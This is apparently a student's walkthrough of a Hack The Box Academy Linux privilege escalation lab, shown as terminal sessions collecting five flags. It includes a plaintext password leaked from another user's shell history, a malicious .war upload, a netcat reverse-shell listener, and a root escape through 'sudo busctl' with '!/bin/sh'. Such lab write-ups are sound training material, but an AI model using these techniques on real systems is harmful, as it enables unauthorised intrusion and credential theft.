

Hack The Box Academy

Linux Privilege Escalation (Tier II) Assessment

INFO

SSH & username & password
already given.

5 Flags to find

Searched for the flags to know
where there are located.

For flag2 an other user is needed

```
htb-student@nix03:~$ ls -la
total 32
drwxr-xr-x 4 htb-student htb-student 4096 Sep  6  2020 .
drwxr-xr-x 5 root          root          4096 Sep  6  2020 ..
-rw----- 1 htb-student htb-student   57 Sep  6  2020 .bash_history
-rw-r--r-- 1 htb-student htb-student  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 htb-student htb-student 3771 Feb 25  2020 .bashrc
drwx----- 2 htb-student htb-student 4096 Sep  6  2020 .cache
drwxr-xr-x 2 root          root          4096 Sep  6  2020 .config
-rw-r--r-- 1 htb-student htb-student  807 Feb 25  2020 .profile
htb-student@nix03:~$ cat .bash_history
id
ls
ls /var/www/html
cat /var/www/html/flag1.txt
exit
htb-student@nix03:~$
```

Flags are all called the same, flag1.txt, flag2.txt, and so on.

```
htb-student@nix03:/var/www/html$ find / | grep "flag" | grep ".txt"
```

```
find: /var/lib/php/sessions: Permission denied
/home/htb-student/.config/.flag1.txt
/home/barry/flag2.txt
/var/log/flag3.txt
/var/lib/tomcat9/flag4.txt
```

```
find: /root: Permission denied
htb-student@nix03:/var/www/html$ cat /home/htb-student/.config/.flag1.txt
LLPE{d0n_ov3rl00k_h1dden_files!}
```

Flag 2

Info

For Flag 2 we need at least read access.

`.bash_history`

Htb-student has read access to barry's `.bash_history` which contains useful information

```
htb-student@nix03:/var/log$ cd /home/barry
htb-student@nix03:/home/barry$ ls -la
total 40
drwxr-xr-x 5 barry barry 4096 Sep  5  2020 .
drwxr-xr-x 5 root  root  4096 Sep  6  2020 ..
-rwxr-xr-x 1 barry barry  360 Sep  6  2020 .bash_history
-rw-r--r-- 1 barry barry  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 barry barry 3771 Feb 25  2020 .bashrc
drwx----- 2 barry barry 4096 Sep  5  2020 .cache
drwxrwxr-x 3 barry barry 4096 Sep  5  2020 .local
-rw-r--r-- 1 barry barry  807 Feb 25  2020 .profile
drwx----- 2 barry barry 4096 Sep  5  2020 .ssh
-rwx----- 1 barry barry   29 Sep  5  2020 flag2.txt
htb-student@nix03:/home/barry$
```

```
htb-student@nix03:/home/barry$ cat .bash_history
cd /home/barry
ls
id
ssh-keygen
mysql -u root -p
tmux new -s barry
cd ~
sshpass -p 'i_l0ve_s3curity!' ssh barry_adm@dmz1.inlanefreight.local
history -d 6
history
history -d 12
history
cd /home/bash
cd /home/barry/
nano .bash_history
history
exit
history
exit
ls -la
ls -l
history
history -d 21
history
exit
id
ls /var/log
history
history -d 28
history
exit
htb-student@nix03:/home/barry$
```

Info

Logging into barry's account we
can look into the Flag 2

Flag 2

```
[eu-academy-2]-[10.10.14.76]-[htb-ac664206@htb-ztipu9bf3x]-[~]
[*]$ ssh barry@10.129.99.249
barry@10.129.99.249's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Sun 04 Dec 2022 09:35:00 PM UTC

System load:          0.06
Usage of /:            18.2% of 29.40GB
Memory usage:         46%
Swap usage:           0%
Processes:            169
Users logged in:      1
IPv4 address for ens192: 10.129.99.249
IPv6 address for ens192: dead:beef::250:56ff:feb9:6b54

 * Kubernetes 1.19 is out! Get it in one command with:

    sudo snap install microk8s --channel=1.19 --classic

https://microk8s.io/ has docs and details.

7 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun_Sep  6 16:21:41 2020 from 10.10.14.3
```

```
barry@nix03:~$ cat flag2.txt
LLPE{ch3ck_th0se_cmd_llnes!}
```

Flag 3

Info

Flag 3 for free

```
barry@nix03:~$ cat flag2.txt
LLPE{ch3ck_th0se_cmd_llnes!}
barry@nix03:~$ cat /var/log/flag3.txt
LLPE{h3y_l00k_a_fl@g!}
barry@nix03:~$ █
```


Flag 4

Info

For flag4 the tomcat user is needed.

Which could lead to a tomcat server.

Inside the logs there are hints for a directory and webserver

```
htb-student@nix03:/home/barry$ cd /var/lib/tomcat9/
htb-student@nix03:/var/lib/tomcat9$ ls -la
total 24
drwxr-xr-x  5 root  root  4096 Dec  4 20:23 .
drwxr-xr-x 46 root  root  4096 Sep  3 2020 ..
lrwxrwxrwx  1 root  root   12 Feb 24 2020 conf -> /etc/tomcat9
-rw-r----- 1 tomcat tomcat 25 Sep  5 2020 flag4.txt
drwxr-xr-x  2 tomcat tomcat 4096 Feb 24 2020 lib
lrwxrwxrwx  1 root  root   17 Feb 24 2020 logs -> ../../log/tomcat9
drwxr-xr-x  2 root  root  4096 Dec  4 20:23 policy
drwxrwxr-x  5 tomcat tomcat 4096 Sep  7 2020 webapps
lrwxrwxrwx  1 root  root   19 Feb 24 2020 work -> ../../cache/tomcat9
htb-student@nix03:/var/lib/tomcat9$
```

```
barry@nix03:/var/log/tomcat9$ ls -la
total 40
drwxr-s---  2 tomcat adm  4096 Dec  4 20:23 .
drwxrwxr-x 12 root  syslog 4096 Dec  4 20:23 ..
-rw-r----- 1 tomcat adm  4026 Sep  3 2020 catalina.2020-09-03.log.gz
-rw-r----- 1 tomcat adm  9005 Dec  4 20:23 catalina.2022-12-04.log
-rw-r----- 1 tomcat adm   45 Sep  3 2020 localhost.2020-09-03.log.gz
-rw-r----- 1 tomcat adm   0 Dec  4 20:23 localhost.2022-12-04.log
-rw-r----- 1 tomcat adm  120 Sep  3 2020 localhost_access_log.2020-09-03.txt.gz
-rw-r----- 1 tomcat adm  4016 Sep  5 2020 localhost_access_log.2020-09-05.txt
-rw-r----- 1 tomcat adm   0 Sep  6 2020 localhost_access_log.2020-09-06.txt
-rw-r----- 1 tomcat adm  2730 Sep  7 2020 localhost_access_log.2020-09-07.txt
-rw-r----- 1 tomcat adm   0 Sep  8 2020 localhost_access_log.2020-09-08.txt
-rw-r----- 1 tomcat adm   0 Dec  4 20:23 localhost_access_log.2022-12-04.txt

barry@nix03:/var/log/tomcat9$ cat localhost_access_log.2020-09-05.txt
10.10.14.3 - - [05/Sep/2020:11:53:38 +0000] "GET / HTTP/1.1" 200 1895
10.10.14.3 - - [05/Sep/2020:11:53:39 +0000] "GET /favicon.ico HTTP/1.1" 404 729
10.10.14.3 - - [05/Sep/2020:11:53:43 +0000] "GET /manager HTTP/1.1" 302 -
10.10.14.3 - - [05/Sep/2020:11:53:44 +0000] "GET /manager/ HTTP/1.1" 302 -
10.10.14.3 - - [05/Sep/2020:11:53:44 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:53:59 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:54:10 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:54:50 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:54:53 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:56:50 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:56:55 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:57:21 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:58:51 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:11:58:55 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:12:03:20 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:12:03:27 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:12:05:51 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:12:05:57 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:12:11:29 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:12:11:32 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - - [05/Sep/2020:12:15:48 +0000] "GET /manager/html HTTP/1.1" 401 2499
10.10.14.3 - admin [05/Sep/2020:12:15:50 +0000] "GET /manager/html HTTP/1.1" 200 15312
10.10.14.3 - - [05/Sep/2020:12:15:50 +0000] "GET /manager/images/tomcat.gif HTTP/1.1" 200 2066
```

Flag 4

Info
(Without nmap)
We can see some Ports used.

Port 8080 is the tomcat
webserver.

There is a .bak file which can be
accessed.

```
Proto Recv-Q Send-Q Local Address          Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:443            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::8080                :::*                    LISTEN      -
tcp6       0      0 :::80                  :::*                    LISTEN      -
tcp6       0      0 :::22                  :::*                    LISTEN      -
tcp6       0      0 :::33060               :::*                    LISTEN      -
barry@nix03:~$ ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
```

It works !

If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!

This is the default Tomcat home page. It can be found on the local filesystem at: `/var/lib/tomcat9/webapps/ROOT/index.html`

Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HOME in `/usr/share/tomcat9` and CATALINA_BASE in `/var/lib/tomcat9`, following the rules from `/usr/share/doc/tomcat9-common/RUNNING.txt.gz`

You might consider installing the following packages, if you haven't already done so:

tomcat9-docs: This package installs a web application that allows to browse the Tomcat 9 documentation locally. Once installed, you can access it by clicking [here](#).

tomcat9-examples: This package installs a web application that allows to access the Tomcat 9 Servlet and JSP examples. Once installed, you can access it by clicking [here](#).

tomcat9-admin: This package installs two web applications that can help managing this Tomcat instance. Once installed, you can access the [manager webapp](#) and the [host-manager webapp](#).

NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in `/etc/tomcat9/tomcat-users.xml`.

```
barry@nix03:~$ cd /var/lib/tomcat9/
barry@nix03:/var/lib/tomcat9$ ls -la
total 24
drwxr-xr-x 5 root root 4096 Dec 4 21:56 .
drwxr-xr-x 46 root root 4096 Sep 3 2020 ..
lrwxrwxrwx 1 root root 12 Feb 24 2020 conf -> /etc/tomcat9
-rw-r--r-- 1 tomcat tomcat 25 Sep 5 2020 flag4.txt
drwxr-xr-x 2 tomcat tomcat 4096 Feb 24 2020 lib
lrwxrwxrwx 1 root root 17 Feb 24 2020 logs -> ../../log/tomcat9
drwxr-xr-x 2 root root 4096 Dec 4 21:56 policy
drwxrwxr-x 5 tomcat tomcat 4096 Sep 7 2020 webapps
lrwxrwxrwx 1 root root 19 Feb 24 2020 work -> ../../cache/tomcat9
barry@nix03:/var/lib/tomcat9$ cd conf
barry@nix03:/var/lib/tomcat9/conf$ ls -la
total 224
drwxr-xr-x 4 root root 4096 Sep 5 2020 .
drwxr-xr-x 99 root root 4096 Sep 6 2020 ..
drwxrwxr-x 3 root tomcat 4096 Sep 3 2020 Catalina
-rw-r--r-- 1 root tomcat 7262 Feb 5 2020 catalina.properties
-rw-r--r-- 1 root tomcat 1400 Feb 5 2020 context.xml
-rw-r--r-- 1 root tomcat 1149 Feb 5 2020 jaspic-providers.xml
-rw-r--r-- 1 root tomcat 2799 Feb 24 2020 logging.properties
drwxr-xr-x 2 root tomcat 4096 Sep 3 2020 policy.d
-rw-r--r-- 1 root tomcat 7586 Feb 24 2020 server.xml
-rw-r--r-- 1 root tomcat 2232 Sep 5 2020 tomcat-users.xml
-rwxr-xr-x 1 root barry 2232 Sep 5 2020 tomcat-users.xml.bak
-rw-r--r-- 1 root tomcat 172362 Feb 5 2020 web.xml
barry@nix03:/var/lib/tomcat9/conf$ cat tomcat-users.xml.bak
<?xml version="1.0" encoding="UTF-8"?
```

Flag 4

Info

Uploading the generated .war file to the webserver

Using nc and visting the malicious site returns a shell with the tomcat user

Flag 4

Info

Flag 4 !

```
Parrot Terminal
File Edit View Search Terminal Help
[eu-academy-2]-[10.10.14.76]-[htb-ac664206@htb-ztipu9bf3x]-[~]
[*]$ nc -lvp 9003
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9003
Ncat: Listening on 0.0.0.0:9003
Ncat: Connection from 10.129.199.207.
Ncat: Connection from 10.129.199.207:58422.
whoami
tomcat
/bin/bash -i
ls -la
total 24
drwxr-xr-x  5 root  root  4096 Dec  4 21:56 .
drwxr-xr-x 46 root  root  4096 Sep  3  2020 ..
lrwxrwxrwx  1 root  root   12 Feb 24  2020 conf -> /etc/tomcat9
-rw-----  1 tomcat tomcat 25 Sep  5  2020 flag4.txt
drwxr-xr-x  2 tomcat tomcat 4096 Feb 24  2020 lib
lrwxrwxrwx  1 root  root   17 Feb 24  2020 logs -> ../../log/tomcat9
drwxr-xr-x  2 root  root  4096 Dec  4 21:56 policy
drwxrwxr-x  6 tomcat tomcat 4096 Dec  4 22:17 webapps
lrwxrwxrwx  1 root  root   19 Feb 24  2020 work -> ../../cache/tomcat9
cat flag4.txt
LLPE{im_th3_m@nag3r_n0w}
cat flag4.txt
LLPE{im_th3_m@nag3r_n0w}
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@nix03:/var/lib/tomcat9$
```


Flag 5

Info

The tomcat user can run a command as root

Searching for busctl on how to escalate privilege gives us:
<https://gtfobins.github.io/gtfobins/busctl/>

```
tomcat@nix03:/var/lib/tomcat9$ sudo -l
sudo -l
Matching Defaults entries for tomcat on nix03:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tomcat may run the following commands on nix03:
    (root) NOPASSWD: /usr/bin/busctl
tomcat@nix03:/var/lib/tomcat9$
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo busctl --show-machine
!/bin/sh
```

```
tomcat@nix03:/var/lib/tomcat9$ sudo busctl --show-machine
sudo busctl --show-machine
WARNING: terminal is not fully functional
- (press RETURN)
NAME                                PID  PROCESS                USER                CONNECTION >
:1.0                                663  systemd-resolve         systemd-resolve     :1.0           >
:1.1                                579  systemd-timesyn         systemd-timesync    :1.1           >
:1.12                               1143 systemd                 barry               :1.12          >
:1.15                               2928 busctl                  root                :1.15          >
:1.2                                661  systemd-network         systemd-network     :1.2           >
:1.3                                731  systemd-logind          root                :1.3           >
:1.5                                677  accounts-daemon         root                :1.5           >
:1.6                                1    systemd                 root                :1.6           >
:1.7                                708  networkd-dispat         root                :1.7           >
:1.8                                855  polkitd                 root                :1.8           >
:1.9                                823  unattended-upgr         root                :1.9           >
com.ubuntu.LanguageSelector         -    -                       -                   (activatabl>
com.ubuntu.SoftwareProperties        -    -                       -                   (activatabl>
io.netplan.Netplan                  -    -                       -                   (activatabl>
org.freedesktop.Accounts            677  accounts-daemon         root                :1.5           >
org.freedesktop.DBus                 1    systemd                 root                -              >
org.freedesktop.PackageKit          -    -                       -                   (activatabl>
org.freedesktop.PolicyKit1          855  polkitd                 root                :1.8           >
org.freedesktop.bolt                 -    -                       -                   (activatabl>
org.freedesktop.fwupd                -    -                       -                   (activatabl>
org.freedesktop.hostname1           -    -                       -                   (activatabl>
org.freedesktop.locale1             -    -                       -                   (activatabl>
lines 1-23!/bin/sh
!/bblinn//ssh!/bin/sh
# whoami
whoami
```

Flag 5

```
# cd /root
cd /root
# ls -la
ls -la
total 48
drwx----- 6 root root 4096 Sep 7 2020 .
drwxr-xr-x 20 root root 4096 Sep 2 2020 ..
-rw----- 1 root root 13 Sep 7 2020 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx----- 2 root root 4096 Sep 5 2020 .cache
-rw-r--r-- 1 root root 35 Sep 5 2020 flag5.txt
-rw----- 1 root root 64 Sep 7 2020 .lessht
drwxr-xr-x 3 root root 4096 Sep 2 2020 .local
-rw----- 1 root root 198 Sep 2 2020 .mysql_history
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 3 root root 4096 Sep 2 2020 snap
drwx----- 2 root root 4096 Dec 4 22:41 .ssh
# cat flag5.txt
cat flag5.txt
LLPE{0ne_sudo3r_t0_ru13_th3m_@ll!}
# █
```